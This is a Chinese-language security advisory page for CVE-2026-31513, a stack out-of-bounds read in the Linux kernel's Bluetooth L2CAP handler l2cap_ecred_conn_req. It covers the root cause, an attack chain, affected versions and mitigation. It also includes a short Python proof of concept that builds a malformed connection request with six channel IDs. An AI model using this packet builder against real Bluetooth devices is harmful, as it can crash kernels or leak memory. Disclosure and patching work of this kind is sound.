IPBUF安全漏洞报告
English
CVE-2026-31513 CVSS 8.1 高危

CVE-2026-31513: Linux内核L2CAP栈越界读取漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31513
漏洞类型
栈越界读取
CVSS评分
8.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelBluetoothL2CAPOOB ReadDoSKASAN

漏洞概述

Linux内核蓝牙子系统的L2CAP模块存在栈越界读取漏洞。攻击者无需认证即可发送恶意构造的增强型基于信用的连接请求包,利用边界检查逻辑缺陷导致内核处理函数读取超出栈缓冲区大小的数据。该漏洞无需用户交互即可触发,成功利用可引发系统内核崩溃或敏感信息泄露,严重破坏系统可用性。

技术细节

该漏洞源于Linux内核`l2cap_ecred_conn_req`函数在处理Enhanced Credit Based Connection Request时的逻辑缺陷。函数在栈上分配了大小为18字节的局部缓冲区`pdu`,设计用于存储最多5个SCID。然而,代码在验证输入数据包中SCID数量是否超过`L2CAP_ECRED_MAX_CID`之前,就根据攻击者可控的`cmd_len`计算了响应长度`rsp_len`。当SCID数量超标时,函数虽然跳转至拒绝处理流程,但未重置`rsp_len`,导致其保留了过大的值。随后在调用`l2cap_send_cmd`发送拒绝响应时,内核试图从18字节的栈缓冲区中读取超出边界的数据,触发KASAN检测并导致系统崩溃。

攻击链分析

STEP 1
侦察
攻击者扫描并发现开启蓝牙且处于可发现模式的Linux设备。
STEP 2
恶意发包
攻击者向目标设备发送特制的Enhanced Credit Based Connection Request数据包,其中包含超过5个SCID。
STEP 3
触发漏洞
目标设备的L2CAP处理函数在计算响应长度时使用了攻击者提供的数值,但在拒绝时未重置长度,导致读取栈缓冲区越界。
STEP 4
影响实现
触发KASAN检测导致内核崩溃(DoS),或潜在的内存信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Conceptual PoC for CVE-2026-31513 # Demonstrates the structure of a malformed L2CAP packet def create_malformed_ecred_req(): # L2CAP Command Code for Enhanced Credit Based Connection Request L2CAP_ECONN_REQ = 0x17 # Signal Identifier (arbitrary) ident = 1 # Payload Construction # SPSM (2 bytes) spsm = 0x0001 # SCIDs: The vulnerability expects > 5 SCIDs (10 bytes) to overflow the # expected buffer size (5 SCIDs = 10 bytes, plus header = 12 bytes total). # We send 6 SCIDs here (12 bytes). scids = struct.pack("<HHHHHH", 0x0040, 0x0041, 0x0042, 0x0043, 0x0044, 0x0045) # MTU, MPS, Credits (optional/standard) mtu = 0x0200 mps = 0x0200 credits = 0x01 # Combine payload payload = struct.pack("<H", spsm) + scids + struct.pack("<HHH", mtu, mps, credits) # Calculate total length length = len(payload) # Construct L2CAP Signaling Command header # Code (1), Identifier (1), Length (2) header = struct.pack("<BBH", L2CAP_ECONN_REQ, ident, length) return header + payload # Note: Sending this packet requires a raw Bluetooth socket and specific hardware privileges. packet = create_malformed_ecred_req() print(f"Generated malformed packet length: {len(packet)} bytes")

影响范围

Linux Kernel < 6.6 (specific commits fix this)
Linux Kernel stable branches prior to fix commits c8e1a27edb8b, a3d9c50d6978, etc.

防御指南

临时缓解措施
建议用户尽快应用官方发布的内核补丁,修复`l2cap_ecred_conn_req`函数中关于`rsp_len`赋值时序的逻辑错误。在未完成升级前,可通过禁用蓝牙内核模块或关闭蓝牙服务来降低被攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表